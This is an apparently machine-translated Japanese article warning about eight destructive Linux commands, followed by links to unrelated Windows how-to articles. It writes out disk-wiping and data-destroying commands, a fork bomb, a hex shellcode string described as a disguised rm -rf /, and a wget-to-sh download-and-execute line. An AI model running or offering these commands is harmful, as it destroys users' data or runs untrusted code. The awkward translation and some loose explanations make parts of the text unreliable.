Linux 上で決して実行してはいけない 8 つの危険なコマンド

Linux 上で決して実行してはいけない 8 つの危険なコマンド

Linux のターミナル コマンドは非常に破壊的であり、コマンドを実行するとシステムが破壊されます。 Linux では、コマンドを実行するときに確認する必要はありません。

Linux 上で実行すべきではないコマンドを知ることは、Linux で作業するときにシステムを保護するのに役立ちます。以下は、Linux 上で決して実行してはいけない 8 つの危険なコマンドです。

Linux 上で決して実行してはいけない 8 つの危険なコマンド

1. rm -rf / - すべて削除します

rm -rf / コマンドは、ハード ドライブ上のファイルやコンピュータに接続されているメディア デバイス上のファイルを含むすべてを削除します。

このコマンドをよりよく理解するには、次のように分析します。

  • rm – 次のファイルを削除します。
  • -rf – rm (指定したフォルダー内のすべてのファイルとフォルダーを削除) を実行し、最初に確認することなくすべてのファイルを強制的に削除します。
  • / – rm (rm と言います) が、コンピュータ上のすべてのファイルを含むルート ディレクトリで開始されることを示します。

Linux はこのコマンドに従い、警告なしにすべてを削除するため、このコマンドを使用するときは注意してください。

さらに、rm コマンドは非常に危険な方法でも使用されます。たとえば、rm –rf ~ はホーム フォルダー内のすべてのファイルを削除し、rm -rf .* はすべての構成ファイルを削除します。

2. 偽装コマンド rm –rf /

Web 上にあるコードのスニペットを次に示します。

char esp[] __attribute__ ((section(".text"))) /* esp release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

これは本質的に rm –rf / の別のバージョンです。このコマンドを実行すると、rm –rf / を実行するのと同じように、すべてのファイルも削除されます。

3. :(){ :|: & };: – 大ヒット作の一種

Linux 上で決して実行してはいけない 8 つの危険なコマンド

以下のコマンドラインは非常に単純に見えますが、その機能は実際には非常に危険です。

:(){ :|: & };:

この短いコマンドは、それ自体の新しいコピーを作成します。つまり、バックアップ プロセス自体が継続的に行われるため、CPU とメモリがすぐにいっぱいになってしまいます。

また、コンピュータがフリーズする可能性もあります。これは基本的にサービス拒否 (DoS) 攻撃です。

4. mkfs.ext4 /dev/sda1 – ハードドライブのフォーマット

コマンド mkfs.ext4 /dev/sda1 は非常に理解しやすいです。

  • mkfs.ext4 - 次のデバイス上に ext4 ファイル システムを作成します。
  • /dev/sda1 - 最初のハード ドライブの最初のパーティションを識別します。これは使用中のハード ドライブである可能性があります。

これら 2 つのコマンドを組み合わせるのは、Windows で C: ドライブをフォーマットするのと同じです。最初のパーティションにあるすべてのファイルを削除し、新しいファイル システムに置き換えます。

このコマンドは、次のようなさまざまな形式で表示できます。 - mkfs.ext3 /dev/sdb2 は、2 番目のハード ドライブ上の 2 番目のパーティションを ext3 ファイル システムでフォーマットします。

5. コマンド > /dev/sda - ハードドライブに直接書き込みます

Linux 上で決して実行してはいけない 8 つの危険なコマンド

コマンド ライン > /dev/sda - コマンドを実行し、そのコマンドの結果を最初のハード ドライブに直接出力します。これにより、データがハード ドライブに直接書き込まれ、ファイル システムが破壊されます。

  • command – コマンドを実行します (任意のコマンドを使用できます)。
  • > – コマンド出力を次の場所に送信します。
  • /dev/sda – コマンド出力をハードドライブデバイスに直接書き込みます。

6. dd if=/dev/random of=/dev/sda – 愚かなデータをハードドライブに書き込みます

行 dd if=/dev/random of=/dev/sda は、ハード ドライブの 1 つ上のデータを削除します。

  • dd – ある場所から別の場所へ低レベルのコピーを実行します。
  • if=/dev/random – /dev/random を入力として使用します – /dev/zero のようなアドレスが表示される場合があります。
  • of=/dev/sda – 最初のハードドライブに出力し、ファイルシステムをランダムな愚かなデータに置き換えます。

7. mv ~ /dev/null – ホームディレクトリをブラックホールに移動します

/dev/null - 何かを /dev/null に移動することは、それを破棄することと同じです。 /dev/null をブラックホールとして考えてください。 mv ~ /dev/null はすべての個人ファイルをブラックホールに送信します。

  • mv – 次のファイルまたはフォルダーを別の場所に移動します。
  • ~ – ホーム フォルダー全体。
  • /dev/null – ホーム フォルダーを /dev/null に移動すると、すべてのファイルが破棄され、元のコピーが削除されます。

8. wget http://example.com/something -O – | sh – スクリプトをロードして実行する

上記のコマンドは、Web からスクリプトをダウンロードし、そのスクリプトを sh に送信し、スクリプトの内容が実行されます。スクリプトが何であるかわからない場合、または信頼できるスクリプト ソースがない場合、これは危険である可能性があります。信頼できないスクリプトは実行しないでください。

wget – ファイルをダウンロードします。

http://example.com/something – この場所からファイルをダウンロードします。

| – wget コマンドの出力 (ダウンロードされたバージョン ファイル) を別のコマンドに直接パイプ (送信) します。

sh – ファイルを sh コマンドに送信します。

以下のその他の記事を参照してください。

楽しんでください!


Windows 10で欠落しているデフォルトの電源プランを復元する方法

Windows 10で欠落しているデフォルトの電源プランを復元する方法

このガイドでは、Windows 10でデフォルトの電源プラン(バランス、高パフォーマンス、省電力)を復元する方法を詳しく解説します。

Windows 10 で BlueStacks 5 の仮想化 (VT) を有効にする方法

Windows 10 で BlueStacks 5 の仮想化 (VT) を有効にする方法

仮想化を有効にするには、まず BIOS に移動し、BIOS 設定内から仮想化を有効にする必要があります。仮想化を使用することで、BlueStacks 5 のパフォーマンスが大幅に向上します。

WiFi接続に接続する際のドライバーの切断を修正

WiFi接続に接続する際のドライバーの切断を修正

WiFi 接続に接続するときにドライバーが切断されるエラーを修正する方法を解説します。

Windows での DIR コマンドの使用方法

Windows での DIR コマンドの使用方法

DIR コマンドは、特定のフォルダーに含まれるすべてのファイルとサブフォルダーを一覧表示する強力なコマンド プロンプト コマンドです。 Windows での DIR コマンドの使用方法を詳しく見てみましょう。

ソフトウェアを使わずに Windows 10 アプリをバックアップおよび復元する方法

ソフトウェアを使わずに Windows 10 アプリをバックアップおよび復元する方法

ソフトウェアなしで Windows 10 アプリをバックアップし、データを保護する方法を説明します。

Windows でローカル グループ ポリシー エディターを開くための 11 のヒント

Windows でローカル グループ ポリシー エディターを開くための 11 のヒント

Windows のローカル グループ ポリシー エディターを使用して、通知履歴の削除やアカウントロックの設定を行う方法を説明します。

最高の IP 監視ツール 10 選

最高の IP 監視ツール 10 選

重要なリソースを簡単に監視及び管理できる<strong>IP監視</strong>ソフトウェアがあります。これらのツールは、ネットワーク、インターフェイス、アプリケーションのトラフィックをシームレスに確認、分析、管理します。

AxCrypt ソフトウェアを使用してデータを暗号化する方法

AxCrypt ソフトウェアを使用してデータを暗号化する方法

AxCrypt は、データの暗号化に特化した優れたソフトウェアであり、特にデータ セキュリティに優れています。

Windows 10 Creators Updateのアップデート後にシステムフォントを変更する方法

Windows 10 Creators Updateのアップデート後にシステムフォントを変更する方法

システムフォントのサイズを変更する方法は、Windows 10のユーザーにとって非常に便利です。

Windows 10で機内モードをオフにできないエラーを修正する方法

Windows 10で機内モードをオフにできないエラーを修正する方法

最近、Windows 10にアップデートした後、機内モードをオフにできない問題について多くのユーザーから苦情が寄せられています。この記事では、Windows 10で機内モードをオフにできない問題を解決する方法を説明します。